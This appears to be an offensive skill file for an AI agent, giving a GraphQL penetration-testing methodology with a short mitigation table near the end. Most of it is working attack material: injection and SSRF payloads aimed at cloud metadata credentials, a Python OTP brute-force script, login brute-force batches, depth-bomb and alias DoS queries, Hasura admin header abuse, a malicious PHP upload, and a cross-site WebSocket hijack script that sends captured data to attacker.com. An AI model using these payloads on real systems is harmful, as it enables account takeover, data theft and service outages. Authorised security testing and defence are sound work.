Loading...
Loading...
Offensive methodology for attacking GraphQL APIs during penetration tests and bug bounty engagements. Covers the full attack lifecycle: endpoint discovery, introspection abuse and blind schema reconstruction when introspection is disabled, authentication and authorization bypass through Relay node IDs and nested object traversal, injection via variables and directives, query batching for brute force and OTP bypass, denial of service through depth bombs and alias amplification, WebSocket subscription hijacking, information disclosure through verbose errors and field suggestion oracles, and file upload abuse via the multipart GraphQL specification. Includes tool-specific guidance for InQL, graphql-cop, CrackQL, BatchQL, Altair, GraphQL Voyager, and clairvoyance. Trigger on: GraphQL, graphql, introspection query, batching attack, query depth, GraphQL injection, GraphQL IDOR, field suggestion, GraphQL auth bypass, GraphQL DoS, GraphQL security, graphql-cop, InQL, CrackQL, BatchQL, Relay node, alias amplification, subscription abuse, multipart upload GraphQL, schema enumeration, __schema, __type.
npx skill4agent add snailsploit/claude-red offensive-graphql__typenamecurl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq ./graphql/graphiql/v1/graphql/v2/graphql/api/graphql/graphql/console/playground/explorer/querycurl -s "https://target.com/graphql?query=\{__typename\}"python3 graphw00f.py -t https://target.com/graphqlpython3 graphql-cop.py -t https://target.com/graphqlquery FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}__type__schema__typequery { __type(name: "User") { name fields { name type { name kind } } } }query { __typename aaa }{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.jsoncurl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'nodeType:numericIDecho -n "VXNlcjoxMjM=" | base64 -d # Output: User:123query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
donequery {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}myOrderscustomercursor:999cursor:0query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }query GetUser($name: String!) { user(name: $name) { id email } }{"name": "admin' OR 1=1 --"}{"name": "' UNION SELECT username, password FROM admin_users --"}{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }@include(if: true)query { __typename @include(if: true) @include(if: true) @include(if: true) ... }@auth@constraintmutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500friends[User]query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }@defer@streamquery {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}graphql-wssubscriptions-transport-wsconnection_init{"type": "connection_init", "payload": {}}{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}connection_init<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}pgQuery field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"x-hasura-rolex-hasura-user-idcurl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'_servicequery { _service { sdl } }curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F 0=@malicious.phpmap.php.jsp| Attack Category | Detection / Prevention |
|---|---|
| Introspection abuse | Disable in production ( |
| Field suggestion oracle | Disable suggestions (Apollo: custom plugin to strip; Yoga: |
| IDOR via node IDs | Enforce ownership checks in every resolver. Use UUIDs over sequential IDs. |
| Nested auth gaps | Schema-level authorization directives ( |
| SQL / NoSQL injection | Parameterized queries exclusively. Never concatenate user input. |
| Batching brute force | Limit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count. |
| Alias amplification | Alias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor). |
| Depth bomb | Max query depth 7-10 (graphql-depth-limit, GraphQL Armor). |
| Subscription hijack | Validate auth on every |
| Verbose errors | Generic error messages in production. Strip stack traces and paths. |
| File upload abuse | Validate by magic bytes, enforce size limits, store outside web root, re-encode images. |
| CSRF | Require |
queryRECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secret